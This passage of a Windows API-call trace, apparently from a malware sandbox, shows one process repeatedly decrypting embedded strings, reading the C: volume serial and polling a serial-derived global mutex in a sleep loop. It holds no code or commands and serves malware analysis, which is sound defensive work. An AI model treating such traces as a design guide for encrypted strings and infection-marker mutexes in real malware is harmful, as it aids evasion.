phKey=0xd8feb8*=0xf8f00) returned 1 [0038.132] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0038.132] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fe6c | out: pbData=0x84e48, pdwDataLen=0xd8fe6c) returned 1 [0038.132] CryptDestroyKey (hKey=0xf8f00) returned 1 [0038.132] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0038.132] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0038.132] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0038.132] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf90c0) returned 1 [0038.132] CryptSetKeyParam (hKey=0xf90c0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0038.132] CryptDecrypt (in: hKey=0xf90c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0xd8fe44 | out: pbData=0x84ec0, pdwDataLen=0xd8fe44) returned 1 [0038.132] CryptDestroyKey (hKey=0xf90c0) returned 1 [0038.132] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0038.132] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0038.132] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0038.132] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0038.133] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0038.133] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0038.133] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0038.133] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9400) returned 1 [0038.133] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0038.133] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fea0 | out: pbData=0x84e48, pdwDataLen=0xd8fea0) returned 1 [0038.133] CryptDestroyKey (hKey=0xf9400) returned 1 [0038.133] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0038.133] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220 [0038.133] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0038.133] CloseHandle (hObject=0x220) returned 1 [0038.133] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0038.133] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0038.133] Sleep (dwMilliseconds=0x3e8) [0039.147] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0039.147] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9400) returned 1 [0039.147] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0039.147] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fe6c | out: pbData=0x84e48, pdwDataLen=0xd8fe6c) returned 1 [0039.147] CryptDestroyKey (hKey=0xf9400) returned 1 [0039.147] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0039.148] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0039.148] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0039.148] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9400) returned 1 [0039.148] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0039.148] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0xd8fe44 | out: pbData=0x84ec0, pdwDataLen=0xd8fe44) returned 1 [0039.148] CryptDestroyKey (hKey=0xf9400) returned 1 [0039.148] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0039.148] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0039.148] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0039.148] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0039.148] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0039.148] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0039.148] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0039.148] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9400) returned 1 [0039.148] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0039.148] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fea0 | out: pbData=0x84e48, pdwDataLen=0xd8fea0) returned 1 [0039.148] CryptDestroyKey (hKey=0xf9400) returned 1 [0039.148] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0039.148] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220 [0039.148] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0039.148] CloseHandle (hObject=0x220) returned 1 [0039.149] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0039.149] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0039.149] Sleep (dwMilliseconds=0x3e8) [0040.162] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84e48 [0040.162] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9400) returned 1 [0040.162] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0040.162] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fe6c | out: pbData=0x84e48, pdwDataLen=0xd8fe6c) returned 1 [0040.162] CryptDestroyKey (hKey=0xf9400) returned 1 [0040.162] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x84e70 [0040.163] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x84e98 [0040.163] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x84ec0 [0040.163] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9540) returned 1 [0040.163] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0040.163] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ec0, pdwDataLen=0xd8fe44 | out: pbData=0x84ec0, pdwDataLen=0xd8fe44) returned 1 [0040.163] CryptDestroyKey (hKey=0xf9540) returned 1 [0040.163] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84ec0 | out: hHeap=0x80000) returned 1 [0040.163] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x84e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0040.163] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e98 | out: hHeap=0x80000) returned 1 [0040.163] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0040.163] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0040.163] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e70 | out: hHeap=0x80000) returned 1 [0040.163] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x84e48 [0040.163] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9400) returned 1 [0040.163] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0040.163] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84e48, pdwDataLen=0xd8fea0 | out: pbData=0x84e48, pdwDataLen=0xd8fea0) returned 1 [0040.163] CryptDestroyKey (hKey=0xf9400) returned 1 [0040.163] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x84e90 [0040.163] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x220 [0040.163] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0040.163] CloseHandle (hObject=0x220) returned 1 [0040.163] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e48 | out: hHeap=0x80000) returned 1 [0040.163] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84e90 | out: hHeap=0x80000) returned 1 [0040.163] Sleep (dwMilliseconds=0x3e8) [0041.300] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x81070 [0041.300] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf8f00) returned 1 [0041.300] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0041.300] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fe6c | out: pbData=0x81070, pdwDataLen=0xd8fe6c) returned 1 [0041.300] CryptDestroyKey (hKey=0xf8f00) returned 1 [0041.300] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x81098 [0041.300] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x81200 [0041.300] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x81228 [0041.300] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9500) returned 1 [0041.300] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0041.300] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81228, pdwDataLen=0xd8fe44 | out: pbData=0x81228, pdwDataLen=0xd8fe44) returned 1 [0041.300] CryptDestroyKey (hKey=0xf9500) returned 1 [0041.300] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81228 | out: hHeap=0x80000) returned 1 [0041.300] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x81098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.300] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81200 | out: hHeap=0x80000) returned 1 [0041.300] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0041.300] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.301] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81098 | out: hHeap=0x80000) returned 1 [0041.301] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x81070 [0041.301] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9000) returned 1 [0041.301] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0041.301] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fea0 | out: pbData=0x81070, pdwDataLen=0xd8fea0) returned 1 [0041.301] CryptDestroyKey (hKey=0xf9000) returned 1 [0041.301] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x81200 [0041.301] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x244 [0041.301] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0x0) returned 0x102 [0041.301] CloseHandle (hObject=0x244) returned 1 [0041.301] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0041.301] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81200 | out: hHeap=0x80000) returned 1 [0041.301] Sleep (dwMilliseconds=0x3e8) [0042.926] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x81070 [0042.926] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf8f00) returned 1 [0042.926] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0042.926] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fe6c | out: pbData=0x81070, pdwDataLen=0xd8fe6c) returned 1 [0042.926] CryptDestroyKey (hKey=0xf8f00) returned 1 [0042.926] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x81098 [0042.926] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x812b0 [0042.926] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x812d8 [0042.926] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9400) returned 1 [0042.926] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0042.926] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812d8, pdwDataLen=0xd8fe44 | out: pbData=0x812d8, pdwDataLen=0xd8fe44) returned 1 [0042.926] CryptDestroyKey (hKey=0xf9400) returned 1 [0042.926] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812d8 | out: hHeap=0x80000) returned 1 [0042.926] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x81098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0042.926] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0042.926] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0042.926] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0042.927] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81098 | out: hHeap=0x80000) returned 1 [0042.927] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x81070 [0042.927] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf8f00) returned 1 [0042.927] CryptSetKeyParam (hKey=0xf8f00, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0042.927] CryptDecrypt (in: hKey=0xf8f00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fea0 | out: pbData=0x81070, pdwDataLen=0xd8fea0) returned 1 [0042.927] CryptDestroyKey (hKey=0xf8f00) returned 1 [0042.927] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x812b0 [0042.927] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x298 [0042.927] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0042.927] CloseHandle (hObject=0x298) returned 1 [0042.927] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0042.927] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0042.927] Sleep (dwMilliseconds=0x3e8) [0044.250] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x81070 [0044.250] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9000) returned 1 [0044.250] CryptSetKeyParam (hKey=0xf9000, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0044.250] CryptDecrypt (in: hKey=0xf9000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fe6c | out: pbData=0x81070, pdwDataLen=0xd8fe6c) returned 1 [0044.250] CryptDestroyKey (hKey=0xf9000) returned 1 [0044.250] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x81098 [0044.250] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x812b0 [0044.250] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x812d8 [0044.250] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9400) returned 1 [0044.250] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0044.250] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812d8, pdwDataLen=0xd8fe44 | out: pbData=0x812d8, pdwDataLen=0xd8fe44) returned 1 [0044.250] CryptDestroyKey (hKey=0xf9400) returned 1 [0044.250] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812d8 | out: hHeap=0x80000) returned 1 [0044.250] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x81098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0044.250] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0044.250] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0044.250] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0044.251] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81098 | out: hHeap=0x80000) returned 1 [0044.251] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x81070 [0044.251] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9400) returned 1 [0044.251] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0044.251] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fea0 | out: pbData=0x81070, pdwDataLen=0xd8fea0) returned 1 [0044.251] CryptDestroyKey (hKey=0xf9400) returned 1 [0044.251] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x812b0 [0044.251] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x298 [0044.251] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0044.251] CloseHandle (hObject=0x298) returned 1 [0044.251] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0044.251] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0044.251] Sleep (dwMilliseconds=0x3e8) [0045.492] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x81070 [0045.492] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9100) returned 1 [0045.492] CryptSetKeyParam (hKey=0xf9100, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0045.492] CryptDecrypt (in: hKey=0xf9100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fe6c | out: pbData=0x81070, pdwDataLen=0xd8fe6c) returned 1 [0045.492] CryptDestroyKey (hKey=0xf9100) returned 1 [0045.492] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x81098 [0045.492] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x812b0 [0045.492] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x812d8 [0045.492] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0xf9500) returned 1 [0045.492] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0045.492] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x812d8, pdwDataLen=0xd8fe44 | out: pbData=0x812d8, pdwDataLen=0xd8fe44) returned 1 [0045.492] CryptDestroyKey (hKey=0xf9500) returned 1 [0045.492] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812d8 | out: hHeap=0x80000) returned 1 [0045.492] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x81098, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.492] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0045.492] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0045.492] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.492] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81098 | out: hHeap=0x80000) returned 1 [0045.492] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x81070 [0045.492] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0xf9400) returned 1 [0045.492] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0045.492] CryptDecrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x81070, pdwDataLen=0xd8fea0 | out: pbData=0x81070, pdwDataLen=0xd8fea0) returned 1 [0045.492] CryptDestroyKey (hKey=0xf9400) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x812b0 [0045.493] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x298 [0045.493] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0045.493] CloseHandle (hObject=0x298) returned 1 [0045.493] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x81070 | out: hHeap=0x80000) returned 1 [0045.493] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x812b0 | out: hHeap=0x80000) returned 1 [0045.493] Sleep (dwMilliseconds=0x3e8) [0046.805] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x84ff8 [0046.805] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0xf9540) returned 1 [0046.805] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0046.805] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84ff8, pdwDataLen=0xd8fe6c | out: 